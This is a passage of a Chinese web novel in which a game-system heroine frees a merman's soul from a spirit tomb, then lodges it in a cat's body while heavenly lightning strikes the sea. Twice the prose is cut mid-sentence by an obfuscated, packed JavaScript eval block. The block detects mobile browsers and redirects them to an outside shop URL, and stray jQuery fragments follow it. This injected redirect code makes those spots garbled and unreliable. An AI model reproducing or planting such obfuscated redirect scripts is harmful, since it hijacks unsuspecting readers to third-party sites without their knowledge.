既然游戏系统对天道之手的描述为“此界无敌”,那会不会对游戏产生影响?毕竟热血岁月就在她脑子里,天道捏住她脑袋,同时也捏住了系统。 打开热血岁月主界面,滕棠仔细检查每一处。 所有功能和按钮都没发生变化,历史消息只有几条,往下拉到底。第一条是[重启成功],依次是断网提醒、新活动的预告。之前的旧消息,都因重启消失了。 她四处点点,发现菜单没有变化,个人信息也没有变化,一切都如往常,让她倍感心安…… 回到主界面,她刚想退出,忽然想起左边还有个收起的剧情任务栏,里面放着几个自己无法完成的任务。 她将注意力集中在[主线剧情]方框上,阅读下方的文字,而后露出一脸的迷茫。 原本的主线任务,是让她围观龙傲天与鱼琴,听二人立海誓山盟,见证两人的爱情。此时变成了: [初出茅庐·二:得知真相后,你进入墓海,拿到伏魂刺,替鱼琴拔除半边煞魂,并帮助他稳定剩下的魂魄。▽28天15时58分31秒] 什么真相?我得知了什么真相?滕棠看得满头问号,这项任务怎么前言不搭后语。 伏魂刺应该是她放在珊瑚枝上的那根黑刺,剩下半截任务,她表示看不懂。 鱼琴要杀自己,系统竟让她救对方?滕棠感到憋屈。 帮鱼琴稳定魂魄,那醉星子怎么办?她更希望帮助伙伴醉星子,将鱼琴的半边灵魂移出去。 既然任务变了,那剧情呢?她忙打开[追忆]功能,回顾历史剧情。 古香古色的画卷展开,两段视频还在,下方标注的时长差不多,但封面有所变动,不再是龙傲天,而是她自己。 滕棠点开视频,从头到尾重新看一遍。 视频里,龙傲天那些不可描述的画面已经被删除,改成她从寒潭复活,遇到一名御剑飞行的男子……后续发展完全围绕她展开。 滕棠看的时候,不得不承认,她的视频比龙傲天的枯燥。三分之二的时间里,她都在刷怪、打坐,没有任何乐趣可言,剩下三分之一的时间,则在播放她如何废,一遇到生死情况,就召唤伙伴。 滕棠看完视频,意识到自己和龙傲天的差距,很是无奈。 龙傲天日常吃喝玩乐,撩美女、树敌人,随随便便就能变强,而自己日夜修炼,到最后生死关头,竟无力自保,完全靠伙伴救命。 她什么时候能靠自己啊!她也想成为伙伴们的依靠。 叉掉画卷,滕棠翻阅前面的剧情任务。果不然,一切都更改了。 [初出茅庐·一]这个标题,新增了[真相]二字,只见任务文字中,有段写到: [……龙傲天对鱼琴示爱无果,鱼琴爱的恨的都是你。你和厉秋交谈一番之后,恍然大悟!这个世界真正能傲视天下之人,不是龙傲天,而是你,滕傲天……] 好家伙,我被改名了! [……天道为私情,故意摆弄一众修者,甚至想将你杀死, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032732|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把所有修者的气运灌到龙傲天一人体内。你决定逆天而行,为自己、为他人,夺回命运!你选择站在龙傲天对面,与天道之子为敌,与天道为敌,打破命运的枷锁!] 原来这就是真相。得知真相的滕棠,眼泪掉下来。 热血岁月为了适应现在的发展,竟改出如此离谱的剧情!系统不是一开始把龙傲天当好友吗?怎么突然转性,要她当主角,对抗天道,反抗已经定下来的命运? 她一介废柴之躯,筑基五层的实力,拿头去和天道刚? 滕棠苦思冥想,实在回忆不起系统乱码那阵,到底发生了什么,让系统产生这样的变化。 当时,[天道之手]的标识朝自己飞来,然后她头一昏,以为自己要挂掉。 结果她还活着,再次睁眼时,天道之手已经消失不见,远处传来鱼琴的声音,让那些修者杀她。 再之后,她忙于保命,召唤了醉星子,被对方扔进这人鱼海墓…… 滕棠思索无果,将[主线剧情]收起,点开下方的方框[支线剧情]。 支线任务同样有变动,早先的已经不在,出现一条新的:[鱼琴渴望戴上珊瑚王冠,完成他的心愿,替他戴上。▽] 支线任务虽然没有时间限制,但这一条也太难了。 从进珊瑚秘境第一天起,她耳边时常响起“珊瑚王冠”四字。这件仙器在哪儿,只有鱼琴知晓,目前还没有人找到。 王冠……真的珊瑚王冠她没见过,但见过赝品。 之前鱼琴为了让她灵魂沉沦,拉她进入一场幻境,那时,他手里有一个五彩斑斓的珊瑚花环。不知道真的珊瑚王冠和那个像不像,如果像的话,她就有一点线索,偶遇时不会错过。 滕棠长叹一口气,不管是主线任务还是支线任务,都需要鱼琴现身,这让她很不乐意,有放弃任务的想法。 要是她买到召唤卡,将醉星子召唤进来,肯定希望醉星子保持清醒,不要沉睡下去。 一个月的时间,说长不长,说短不短。 滕棠在人鱼墓海里,闲来无事,一直在打坐,每天十二时辰,除却早上七点需要签到,其余时间未浪费一分一秒,皆用在修行上。 她坐得住,外面蓝珊瑚岛上的修者,已然坐不住。 龙傲天每日对着醉星子喊“鱼琴”,喊了近一个月,嗓子已经喑哑,仍未将鱼琴唤醒过来。 他甚至拉着淘泽姳、厉秋,还有他师父一起,轮流呼唤鱼琴的名字,可惜都没成功。 坐在宝石上的男子,稳如磐石,身上始终读不出命字。 今日,龙傲天没喊过一次鱼琴的名字。 他踩着巨剑,远远望着醉星子,决定换一种办法唤醒鱼琴——震荡醉星子的识海。 在他对面,岑云岭岿然不动,双目紧闭,身上落了些珊瑚尘埃,比望夫石还像望夫石。 他仍在等待滕棠的召唤。 最初那几日,他确实担心过,那么久了,为何滕棠还没召唤他,是被伏魂刺摄了魂,亦或被墓海大阵镇住? 当时他拧眉沉思,觉得滕棠不该被这两样困住。 滕棠既然能凭自身摆脱鱼琴的幻境与人鱼之声,那伏魂刺对她来说不是大问题。至于灵魂之海内的阵法,鱼琴肉身已灭,半魂睡于他的识海中,此时的珊瑚王冠乃无主之物,不可能伤害裹着妖夜灵泡的滕棠。 后来过了几日,他想起一件事,滕棠以前对他的两个分-身简单提过召唤规则,说她的召唤器虽然厉害,但有限制,每个月仅能存置一次机会…… 掐指一算,鱼琴使用人鱼之声,让众人杀滕棠那日,正好用掉一次。 想明白之后,岑云岭便放下心来,静静等待一月期限。只要他的佯魂未灭,其余几个分-身皆好好的,便证明滕棠无事。 龙傲天在心中做好决定,御行巨剑,来到离醉星子三十米远的地方。 “我知你姓甚名谁,你绝对不是鱼琴!”他嘶哑的声音有些难听,大起声来,听着像耄耋老人在谩骂。 说完嗓子痒,他咳嗽了两下,右手不断转动戒指,和李谡商讨接下来的举措:“二十几日前,我同众多修者一起,与此人斗法,没斗多久,鱼琴便出现了。” 龙傲天回头,望一眼浮世门那些人:“我想再次和他打斗试试,动摇他的神魂,给鱼琴夺回识海、现身的机会。” 李谡听完,对他传音道:“徒儿,不可莽撞,既是滕棠背后的大能,又有诡异手段占据鱼琴的肉身,想来不好对付。” 龙傲天不可置否,心高气傲的他,难得做事小心翼翼:“自然,我只是前来挑衅,不会单独动手。” 这是天道亲手给他设下的考验,必然充满凶险。要是他没有好好跨过去,肯定会让天道失望。 龙傲天对岑云岭说完那句话之后,转身去找浮世门的师父。 他这个半截身子快入土的师父,只有洞虚八层的实力,是推脱不了人情,勉强拜的。 最初龙傲天来到天央大陆,拜入的门派其实是九炼宗。九炼宗的酒兴尊者非常赏识他,用各种天材地宝,将他拉拢到身边,让他觉得是个不错的人选,可以拜对方为师父,借此踏入无涯宗的门槛。 怎奈酒兴尊者立了誓,收厉秋为徒后,不再收徒。龙傲天感到失望,正欲离去,前往万丹山。这时对方挽留他,提及那些天材地宝,委婉地表达他在自己身上耗费良多。 龙傲天拉不下脸面,为报恩请,只好答应对方一个请求。 酒兴尊者有个友人,名为金健,两人从小一起长大,关系非常好。 金健乃浮世门八长老,一直突破不了境界,困在洞虚期三千五百年,如今白发苍苍,步入黄昏年纪,再过一百来年,很有可能撒手尘寰。 酒兴尊者不希望他就此死去,于是决定,把天道之子龙傲天推介给金健。这样一来,金健能沾到气运,提高突破的概率,多活些时日。 并且他和金健乃生死之交,龙傲天拜金健为师,他能在不违背誓言的情况下,将龙傲天当作他半个徒弟,获得些好处与机缘。 酒兴尊者的算盘打得叮当响,龙傲天看得很明白,并未付诸真实的师徒之情。 双方皆因利益而结识,往后也会因利益而分开。他真正的师父是李谡,这些人和李谡有血海深仇,便是他龙傲天的敌人。 他之所以待在九炼宗和浮世门,一是为了进入无涯宗,得到上古传承,二是为了潜伏这两个宗门,伺机为真正的师父报仇雪恨。 74. 第 74 章 “徒儿万万不可!” 金健听完龙傲天的计划,摆手阻止:“即使这人不是鱼琴,我们也打不过他。他坐于灵魂宝石之上,一旦动用里面的精神之海,我们再多一千人,也不是他的对手,送死没有意义。” “对啊,傲天稍安勿躁,我们已找到离开秘境的方法。”酒兴尊者在旁边说道。 他和金健同岁,看着却差了两个辈分,样貌才四十岁左右。 酒兴尊者上前拍拍龙傲天的肩,乐呵呵地说道:“你之前一直呼唤鱼琴,没有听我们商榷。我们三个宗门正准备说服御兽门那些人,大家合力撕开天上裂缝,破碎空间壁垒,离开珊瑚秘境。等宗主、掌门前来狂海,我们再随其争夺珊瑚王冠。” 龙傲天攥紧手,心有不甘:“我们寻找到珊瑚秘境一事,已传遍天央大陆。若宗主与掌门来迟一步,珊瑚王冠就做了他人嫁衣。我们何不自己争取,夺得珊瑚王冠。” 酒兴尊者捋动胡须,知晓他年轻气盛,很有耐心地道:“珊瑚王冠的重中之重,乃是珊瑚圣殿,助人逆天道提升天赋。” 说到此处,酒兴尊者满脸笑容:“要是有了此物,九炼宗和浮世门将大盛于世,整个无涯宗都媲美不了我们。宗主和掌门不会看轻此事,肯定请了老祖出山,前来夺此至宝。” 龙傲天听完他的话,被说服了,乜一眼灵魂宝石上的人,转动指戒,“好”,他放弃了呼唤鱼琴。 玄眼看到的命字,一定会发生。他坚信天道安排的命运,纵使他暂时离开这秘境,也不影响他后面救下鱼琴,让对方成为自己的道侣之一。 还有李偲缨……龙傲天望向岛屿外围。那些散修、小门派之中,有个气质出尘、长得极美的女子。 不知这个拥有至寒神体的女人,何时应命字所言,“气运遭亲所夺”,等待自己去救…… 一个月已至,转眼到了商城刷新的日子。 早上准时七点,滕棠听到叮的一声响,立马打开系统,签完到,将商城限购物品统统买下。 她买完强制召唤卡,没有立刻召唤醉星子,而是先调出一丝精神力,把下方的伏魂刺捡起来,飘在泡泡附近。 这样,醉星子出现时,能够立刻拿到此物,避免发生其他意外。 滕棠注意力集中,努力不去想即将开启的活动。她轻呼一口气,点击界面上的[强制召唤卡]。 灵魂宝石上方,盘坐不动的俊美男子倏然消失,转瞬出现在滕棠右侧。 他一进墓海,所有的海带重新冒出金沙,生长出来,像鞭子一样袭向他,而后化成海带锁链,将他全身捆缚。 岑云岭在出现的那一刻,就取走了滕棠泡泡附近的黑刺。 他用食指与拇指夹住此物,往自己眉心刺去。 周身的海带疯狂生长,越来越多,很快缠满了岑云岭的身体,将他包裹得连根头发丝都看不见。 滕棠的泡泡被海带拍开,像个咕噜滚动的皮球,向上翻转,一直停不下来。 海中生起一股洋流,把上下分层的海水搅混。浅蓝与深蓝交织,两种色彩彼此挤兑,令人头晕目眩。 “醉星子你还好么?” 她调出一截灵力,压于泡泡底下,使自己沉下去。 下方的醉星子没有回答她,那颗三人高的海带球慢慢陷入金沙之中,将醉星子拖进大阵。 哗啦——,一声极其微弱的水响,被翻搅的洋流盖过。 捆紧成球的海带突然绷断,一截截绿色长条,随着水流方向飞去。 不一会儿,那些缠缚醉星子的海带开始收缩,仿佛遇到天敌,片片裹卷,藏进金沙里。 深浅不一的水流冲刷而过,底下的金沙飞扬,许久都无法沉淀。 “你没事吧?”滕棠的泡泡沉降到下方,问那躺着的黑发男子。 醉星子的变化有些大,穿着一件金纹黑纱,顺直长发摇荡在海水中,丝丝乌黑,过水而不卷。 他的面容没有了那分阴柔感,变得更加出尘淡然,身形亦有变化,胸膛、手足都比之前要大一些,光是躺着,身上就有很强的气势,给人带来压迫感。 要不是系统有万物识别功能,滕棠能看见他头上的标识,肯定认不出来这是醉星子。 醉星子没有很快醒来,眉头紧皱了一会儿,旁边突然出现一团模糊的黑影。 黑影在灵魂之海里如同一滩不散的墨,时不时飘溢出烟纹。它变形、拉伸,慢慢凝成人鱼的轮廓。 滕棠一直盯着它上方的标识,心里吃惊,这竟是鱼琴的残魂,对方被醉星子逼出来了? 鱼琴的轮廓显现后,墨色淡了一半。他的鱼尾很不稳定,倏尔消失,倏尔隐现。 他的五官模糊,面庞狰狞,仰头看向泡泡中的滕棠,两只眼睛没有瞳仁与眼白,血红得吓人。 伏魂刺已不再醉星子眉心,而是深深插在他额头上,好似钉子,把他钉在原地,动弹不得。 他瞥过滕棠,随后低头瞪向醉星子。 “你把我剥离出来,你这具身体将不复存在!”声音邪气森森,仿佛有人对着一口井尖叫,闷闷的有些刺耳,话毕还有回响。 醉星子陡然睁开眼睛,发现自己的身体在往金沙里沉,双腿动不了,上半身勉强能动。 他望着旁边的黑影,古井无波地道:“能把你永生永世困于墓海,有何不可。” 鱼琴哼了一声,转头望向滕棠,五官忽然变得可怜兮兮的,恳求她:“帮帮我!救我!求求你,帮我拔掉我额头的刺!” 人鱼之声,在灵魂海洋的帮助下,厉害了好几倍,令滕棠下意识地推动泡泡,靠近他。 “醒过来,不要听他的声音!” 醉星子正告道,左手已经完全被沙子淹没。 彩色的的泡泡停在他上方,给他漆黑的眼珠添了一点明光。 他将力量集中于右臂,勉强抬起来,拨开眼前游动的发,单手画了个线条复杂的符,打向妖夜灵泡。 “它会送你出去。”醉星子道。 滕棠终于连上网,从系统和醉星子的声音中苏醒过来,问他:“你不走?” 泡泡向上飘浮了两米,被她稳住,重新降下来。 她直觉鱼琴要说话,连忙捂住耳朵。 隔着妖夜灵泡与五层灵力,人鱼之声的影响减弱不少,游戏只是提醒她网络不稳定。 “哈哈哈,没了我!他怎么走得了。” 鱼琴下半身鬼气缭绕,他睁着可怕的血眼,对滕棠威迫利诱。 “你只要拔了我额头的刺,我就帮你救他。他身上有珊瑚王冠的诅咒,如果没有我神魂中的王印,不出一刻,墓海坟沙便会啮噬掉他的身体。” “怎么会……”滕棠慌张地落到醉星子身旁,手臂鼓出水膜,试图把沙子抛开。 醉星子对她摇头:“你救不了我。” “你想救他?你需要王印,快拔掉我额头上的刺!” 鱼琴在旁边厉叫,独特的人鱼声线加上灵魂状态的虚幻,使得他很像只凶煞。 “无须顾我,趁海墓未关闭,赶紧走。”醉星子再三嘱咐。 滕棠没有动,见他大半身体已经沉进金沙之中,被阵法一点点蚕食,很想去救,但是不知道如何救。 “给我拔伏魂刺!”醉星子的身体消失得越多,鱼琴的魂影就越发清晰。 滕棠被他的声音震得头晕,识海晃荡,差点没稳住灵台。 鱼琴的魂影和他那具假尸长得不太相同,只能说六分相似。他被伏魂刺钉住后,面容一直很扭曲狰狞,双眼血红,吓人程度仅次于六鬼十凶傀运盒中的厉鬼。 “你喜欢我,对吗?”人鱼族擅长蛊惑,鱼琴在这方面天赋极佳。 他压制自己的怒火与杀意,改变五官的神态,变得可怜兮兮的,用人鱼之声对上方的人说:“滕棠,我喜欢你,真的很喜欢你,求求你帮我取掉头上的刺,我的灵魂好痛。” [当前网络出现异常] [网络已断开] [网络连接中……请稍后] …… 滕棠一阵头晕,暗叹人鱼之声真是厉害,简直防不胜防,鱼琴稍微动用一点灵魂之海的力量,便能沉没自己的识海。 “平定灵台,化神识为网,结障置于灵台周围,双耳闭听觉……”醉星子的声音越来越小,很难再叫她赶紧走,不要对抗妖夜灵泡的浮力,一直待在这儿。 醉星子的泡泡忽有变化,几道符术将泡泡缩小,不再包裹滕棠全身,而是像头盔一样,只圈住她的头,以减弱人鱼之声与精神力大海的影响。 滕棠这次很有经验,一边聆听系统的声音,不被鱼琴带跑,一边按醉星子说的那样做。不一会儿,灵台就变得清明,双目渐渐有神。鱼琴的人鱼之声,现在对她来说,和普通的人声无异。 她之所以待在这里,没有随泡泡飘出海墓,不全是因为担心醉星子,还有一个原因是,她想做任务。 [连接成功] 滕棠没有完全关闭听觉,调到最弱的状态后,缓缓张开双臂,朝鱼琴游去。 与此同时,脑子里的主线任务变动,显示正在进行。一个方框跳出来:[是否现在拔除鱼琴的半边煞魂?是否] 热血岁月值得信赖,既然写了“拔除”二字,那就说明系统有办法驱除鱼琴身上的邪异 滕棠与前方鬼魅的魂影对视,立马点击[是],身体不由自主地站直,在水中朝鱼琴走去。 醉星子全身皆不能动,声音微弱道:“滕棠醒醒。” 滕棠仿佛一只傀儡,木然越过他,走向鱼琴,期间还不小心踩到他的腿。 滕棠张张嘴,动用浑身唯一能动的地方,和醉星子道歉:“对不起,我的身体不受控制,不是故意踩你大腿的。” 醉星子哑然,这个时候该关心这件事么?这女人果真是个疯子。 他以为滕棠被鱼琴的声音操控,心中焦灼不已:“不可动伏魂刺!否则你会被他附身,他会压制你的灵魂,借你的身体、我的妖夜灵泡,逃出墓海。” 然而下一秒,滕棠抬手,快速拔掉了鱼琴额头的伏魂刺…… 醉星子怔愣,目光不可置信地看着她,绝望地道:“滕棠醒来!” 没有了伏魂刺,鱼琴的魂影墨色加深,漆黑的鳞片往下生长,逐渐形成鱼尾。 他发现自己能动了,疯狂大笑,蔑视身旁的黑纱男子:“云岭,我赢了,她被我蛊惑住了!” 然而他并没有高兴太久,笑容突然凝滞,慢慢消失。 因为取走黑刺的女子,两手“啪”地一拍,那坚不可摧、非太晔之阳不可化的伏魂刺,竟然无了…… “你有太晔之阳?!!”鱼琴惊恐吼道,嗓音颤了几个弦。 他的下半身在快速消散,浓墨化开,皮肤与头发的颜色不再漆黑,越来越浅淡,逐渐接近海水的颜色。 鱼琴飞快地爬到滕棠脚边,又露出那可怜兮兮的表情,祈求她:“不要烧化伏魂刺,求求你,求求你……” 他发现自己的人鱼之声,完全影响不到滕棠。两只赤目瞬间溢出眼泪,红红的,像两串鲜血,在虚幻的海水中异常醒目。 “不不!”阴邪之物在水中散开的那一刻,尖叫道。 滕棠已经选择了[是],鱼琴身上的煞气不可能继续存在,不出两秒,便被拔除得不剩一丝一毫。 醉星子的身体停止下沉,力量稍有回归。 “太晔之阳?”他眼睛晦暗,似想到什么恶心的东西,表情万分厌恶。 太晔之阳乃金乌的羽毛,是魔修的克星,偶然从天空落下一二,必给冥无大陆带来灾祸。 “我没有这个东西……”滕棠恢复对身体的掌控,低头看了看自己的手心,所幸没有受伤。 “伏魂刺乃邪阴之水所凝,必须用天上金乌的绒羽——太晔之阳,焚烧两个时辰,才能融化,你莫非有一堆金乌之羽?” 岑云岭说到此处,忽觉不对。若是太晔之阳,滕棠才筑基期的实力,如何能承受那炙热炎阳?双手与身躯皆会被烧成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032733|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰烬。 “不是,我没有你说的这个东西。”滕棠无法解释,忍不住背起完好无损的双手,藏起来。 她总不可能跟醉星子说“我徒手粉碎的”,那得多吓人,于是胡诌道:“我有一件神器,比你说的金乌之羽还要厉害。刚刚是运气好,神奇恰好克制伏魂刺,所以我们得救了。” 伏魂刺消失之后,鱼琴的残魂还在,只是浑身的煞气没了。 他似乎很痛苦,疯狂扭动身躯,下半身空空荡荡,没有漂亮的鱼尾。 他的魂魄颜色十分寡淡,几乎和虚幻的海水融为一体,像一团躁动的水流。 他痛苦地挣扎了一会儿,渐渐没有力气,疲乏地趴在细沙之上,等待死亡的来临。 “抱歉,我不想杀你们,是煞魂的怨恨……在驱使我的半边灵魂。” 鱼琴已经平静下来,眼睛浅蓝如海水,清澈见底。 滕棠隐隐明白来龙去脉,不再将对方当做死敌。那个屡屡蛊惑她的煞魂,已经消散了。 鱼琴仅剩半边残魂,因被煞魂吞噬太多精神力,灵台几欲崩溃,此时困倦得睁不开眼:“我马上就要魂飞魄散,我好遗憾……我还没有戴过珊瑚王冠,如果能戴一次多好,它是这世界上最漂亮的珍宝……” 滕棠听见他的话,忆起自己的剧情任务,顿感头疼。 支线任务应该不难,鱼琴现在这么想戴珊瑚王冠,只要自己问他此物在何处,并保证帮他戴上,他大概率愿意吐露珊瑚王冠的具体位置。 但主线任务就不同了,耗费的不仅是时间。 拔除伏魂刺,只是主线任务中的一个步骤,要想拿[初出茅庐·二]的奖励,她需要完成后半截的要求:[并帮助他稳定剩下的魂魄] 鱼琴的灵魂残损情况非常严重,已经到了快消散的地步,要想帮他稳定下来,需要的不止是一点灵力,而是亿点灵力…… 滕棠小声低估:“莫非我是阎罗王转世,如此吸引魂魄。” 先是付岚山被福鹿宗追杀,蛇魂盘在她灵根上养肥,而后遇上李偲缨,又是一个无底洞,时常需要为其提供灵力,助其稳固神魂。 好不容易李偲缨醒了,结果付岚山又挂了,此时正缠着她五色灵根,陆陆续续吸收着她的力量。 眼下,再添一灵魂,还是只残魂,滕棠不知该说什么好。 走近鱼琴,滕棠将系统灵力全部调取出来,向快消散的人鱼灵魂注入进去。 系统灵力虽多,但对于情况严重的鱼琴来说,远远不够。 无属性灵力已全部化为水灵力,渗透进虚淡的灵魂,犹如石沉大海,没有发生任何反应。 鱼琴惊讶地望着她,模样和那具假尸无异,漂亮、惑人,只是形影太过透明,几乎和海水融为一体。 “你竟然愿意救我……谢谢你,多谢……若我神魂稳定下来,我一定帮他摆脱墓海大阵……” 鱼琴感动得连连道谢,双眼不断掉珍珠,看着竟比滕棠这副身子还梨花带雨、楚楚可怜。 这条人鱼真是上任族长么?看着如此弱小,难堪大任啊。滕棠暗自吐槽完,无奈地与他道:“我并不能保证,你灵魂受损太严重了,只剩一半。” 依照眼前的情况,她怀疑自己得在墓海安家,待个一年半载,才能帮鱼琴稳定下半边灵魂。 任务有截止时间,她不会到头来,白干一场吧? 滕棠继续当冤大头,想看看多输送些灵力,有没有转机。 系统灵力条每恢复一点,她便用在鱼琴身上,连付岚山那份都克扣掉,把自己体内的灵力输送得不剩几许。 可惜过了好一会儿,鱼琴的灵魂还是没什么变化。 滕棠有气无力地垂下手,放慢了灵力输送的速度。 她回头看向醉星子大佬,对方闭目躺在金沙之中,在与墓海大阵作对抗,实力恢复了一部分,此时正重塑身躯。 她正过头,垂眸和虚弱的鱼琴对视,两人相顾无言。因为之前发生的事,一个不好意思说话,一个没什么话说。 滕棠在努力想解决办法,如何才能完成自己的主线任务?想来想去,她只想到一个。 鱼琴肯定对醉星子施展过某种禁术,得以强行占据醉星子的身体。那禁术肯定很难破解,醉星子目前只想到利用伏魂刺,把鱼琴的煞魂钉出去。 这么说来,他们或许还能同用一具身体,只要醉星子愿意…… 滕棠再次扭头,看向闭着眼睛的醉星子,有些说不出口。 为了任务,为了奖励,你腼着脸问一下,又不会少一块肉,她在心里给自己作解释。 “醉星子大佬……”滕棠低低叫了一声,在对方睁开眼睛时,指着鱼琴问:“可不可以让他继续附在你身上?等找到合适机会,再把他赶出去。” 她知道,这对醉星子来说,是一个馊主意。 醉星子满脸写着拒绝,问她:“为何?因为他漂亮可怜,你怜惜了?” 见对方面色变冷,她不得不辩白:“不是,主要是你身中诅咒,此时被这怪沙子埋着,需要一定时间才能脱身。方才鱼琴被煞气侵蚀的时候,不是说过么?只要他动用灵台王印,便能快速释放你。” 醉星子面无表情地盯着她,一字一顿道:“我宁愿被墓海坟沙埋葬。” “……”滕棠。 听他们对话的鱼琴,害怕地瑟缩了下。 他不敢看岑云岭,可怜巴巴地望着滕棠,发誓道:“我若有个肉身,神魂稳定,便能动用王印,即刻送你们出去。我对人鱼始祖发誓,绝不害你们,如果……如果……” 如果岑云岭愿意让我附身,继续借用禁术之力,我绝不会害他,绝不跟他争夺识海主权,我愿意沉睡,直到遇到合适的肉身。 可惜后一段话,鱼琴憋了半晌,一个字都说不出来。 他瞟向岑云岭,模糊瞥到那张冷漠的脸,立马失了胆子。 滕棠左看右看,见双方陷入僵局,顿感无奈。她的初出茅庐任务,她的丰厚奖励,怎么办啊…… 75. 第 75 章 滕棠垂头,神情有些失望和沮丧,目光扫过脚下的沙子、丹田沉睡的付岚山。 她突然抚掌,惊喜道:“差点忘了!” 鱼琴愣愣地望着她,心生期待,她这是……有办法救自己了? 在使用灵宠复活丹之前,滕棠向鱼琴再三确认:“只要是个肉身就行?” 鱼琴点点头,随后又摇头,怕滕棠对这方面一知半解,补充道:“必须是充满生机的肉身,非油尽灯枯、阳寿已绝的死灵之体。” 那当然,九色猫是活物,只是脑子里有个假AI,植入的程序很智障。 滕棠确认好后,点点头,准备使用灵宠复活丹,把九色猫的躯壳拿给他用。 “谢谢你。”没了煞气,鱼琴的性格与表现与之前截然不同,似乎不太习惯跟人交谈,说话时,总躲避滕棠的视线,把脸埋在海蓝色的头发里。 “你真要救他?”醉星子在旁边问道,眼中微含愠气。他对鱼琴不止是讨厌,还有上万年被困的恨意。 滕棠并不是真心想救,实在是任务奖励太丰厚了,一堆经验值,两张基础数值翻倍卡,还有灵石奖励,这样的任务怎么能放弃呢。 她夹在两人中间,有些难做,叹气一声,对醉星子道:“救他,我们就能尽快离开墓海。”寄希望于他能理解。 “喵呜。”九色猫已经跳了出来,一出现就憋起气,腮帮子鼓鼓的,四个爪子在灵魂之海里疯狂刨动。 滕棠捞起炫丽的九色猫,懒得再询问鱼琴行不行,自己动手,将鱼琴的残魂塞进九色猫的身体里,不愿再浪费时间。 她松开手,对眼睛大大的九色猫道:“现在可以了吧?动用王印,送我们出去。然后你去找珊瑚王冠,到时候我帮你戴上。” “喵~呃唔……咕噜~”鱼琴睁着彩色灯泡般的眼睛,因为灵魂受损,困倦不已,一附体便想打哈欠,结果呛了口虚幻的灵魂海水。 这要是其他种族,比如面前的滕棠,喝一口,灵魂识海必然激荡,受到冲击。还好他是人鱼族,墓海是历任族长建立的,这些精神力幻化的海水对他没有影响。 “喵…咕噜~咕噜~” 鱼琴扑腾四爪,无从适应,在灵魂之海里,第一次觉得呼吸不过来。 他想问滕棠,为什么给他猫妖的肉身?她是故意的么?人鱼族最讨厌猫妖,更遑论如此丑陋的猫妖…… 人鱼族天生精神力极佳,无需镜子,他便感知到自己的模样。 胖乎乎的身子,四足很短,大大的圆脑袋,恐怖的巨眼……鱼琴越看越觉得丑,心里很是难受。 在他眼里,身上九种闪亮的色彩,并不好看,很俗,俗不可耐。 不过再不满意,他也只能用怯怯的猫眼瞟一眼滕棠,在岑云岭杀人的目光下,尾巴一缩,张张爪子,努力尝试掐诀。 鱼琴不太会用毛爪,十根胖乎乎的短指,在水里一收一张,喵咪踩奶般,半晌才成功结出王印。 “呤~~叮~~”灵魂海水与墓海坟沙发出和鸣,声音很轻柔,宛如初夏的风。 九色猫的额头上,出现类似花钿的纹路,最终勾勒出一朵蓝白色的浪花。 那朵浪花越来越亮,甚至媲美九色猫本身的光芒,还会随着鱼琴的手势变幻形态,在他额头上一会儿散开,一会儿翻腾。 滕棠本是想观察鱼琴的王印,看他有没有骗人,结果,看着看着,竟然看入迷了。 她怎么觉得,鱼琴住进九色猫的身体,比付岚山更萌? 那两个猫爪子,掐起诀,如同猫儿不停踩奶,每次张开,都能看见中间的粉色肉垫。她第一次知道,九色猫的肉垫是爱心形状的。 [尊敬的玩家,“天降红包雨”回馈活动已经上线!正在线上的玩家,请注意天空降落的红包雨,祝玩家被红包多多砸中!] 一个月前预告的那个红包活动? 滕棠听到系统的提醒,连忙抬头往上看。然而头顶上除了深深浅浅的灵魂海水,什么也没有。 红包在哪儿?系统确定有发红包么?难道她瞎了? 既然叫做“红包雨”,那应该很多才对,但她一个都没看到。 明月大陆和天央大陆之间,狂海已经变了天。 狂海的天空乌云密布,紫色雷电有成百上千条,吓得那些寻找秘境入口的修者皆慌乱逃逸。纵使是大乘期、渡劫期的老祖们,也不敢待在此处。 “好可怕,是天道!天道发怒了!” “珊瑚秘境到底发生了什么,让天道如此愤怒?” “不知,看这阵势,莫不是有十位大能在此渡劫?!” “天央大陆哪来那么多渡劫期大能!” “不管何种缘由,快逃……!” 生死面前,众人顾不上找秘境入口,俱皆四处逃走,生怕被天道的雷龙波及到。 轰轰——,雷霆的声势,令整个狂海为之啸动。 海上寻找秘境的修者,奔逃时,已经快聋了。他们不敢想象珊瑚秘境内发生了何事,惹得上天如此动怒,俱皆双脚发软地踏上灵舟,催促掌舵人赶紧离开。 “开船啊!紫色……紫色天雷来了!” 轰隆轰隆——,十几条紫雷齐齐落下,贯穿狂海,将海里的鱼妖以及来不及逃走的修者劈得灰飞烟灭。 狂海翻腾,底部的珊瑚秘境再次露了出来,白光大放,成为这方天地最明亮之处。 有不怕死的,或者说愚妄的修者,思虑之后,不退反进,望着被劈出来入口,跃跃欲试。他们错估,以为雷域狂暴,珊瑚秘境受到影响再次出世,只要躲进珊瑚秘境,自己就能相安无事,比逃离雷域回天央大陆更安全。 但很快,他们的愚妄便被雷霆劈得一干二净,终于知道是珊瑚秘境出了事。 轰轰——轰隆—— 紫雷数量倍增,百条一齐落下!声势浩大,能劈死十个渡劫巅峰的大能。 而百条天雷的目标只有一个——珊瑚秘境,谁敢进去,和送死无异。 